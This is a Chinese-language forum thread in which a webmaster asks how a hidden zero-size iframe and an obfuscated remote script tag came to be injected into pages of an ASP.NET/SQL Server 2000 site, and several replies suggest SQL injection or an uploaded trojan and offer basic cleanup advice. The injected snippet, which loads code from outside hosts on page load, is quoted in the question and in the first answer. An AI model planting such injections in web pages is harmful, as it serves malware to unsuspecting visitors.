网站页面中被加入JS和iframe

Question

网站页面中被加入<iframe src='http://i31.net.ru/tools/webtool/2.html' width=0 height=0></iframe><script src=http://%77%2E%73%69%79%6F%75%2E%6F%72%67%2E%63%6E></script>
 
网站的开发语言是Aspnet数据库是SQL2000,网站页面的部分页面被加入以上代码,我把网站从服务器上下载后也没发现可疑文件,不知道如何下手,请高手指点下

Answer 1

通过Http访问,首页会弹出会一个小窗口,说是木马,我把首页的<iframe src='http://i31.net.ru/tools/webtool/2.html' width=0 height=0> </iframe> <script src=http://%77%2E%73%69%79%6F%75%2E%6F%72%67%2E%63%6E> </script> 删除后正常

Answer 2

不好意思 你被攻击了呵呵 
用Ifram的话可以修改你的网页在外网的显示方式。你要小心了。
---------
先在ie 里禁止 执行js脚本（对你网站没有影响的情况下） 
你的sql语句不够安全。换。 
在进程找到可疑进程 可以借助工具 
断开网络 杀毒删除文件。更换密码和关闭不毕业的端口  --如运行远程访问等等。

Answer 3

下个黑客软件扫描一下的的网站,看看有没有漏洞,如URL Dumper.
另外,如果虚拟主机安全设置不当也是有危险的,比如与你网站同一主机的其他网站有缺陷,也可能殃及到你

Answer 4

会不会在网站中上上传个木马文件,会不会是上传问题或SQL语句的不安全的可能性大?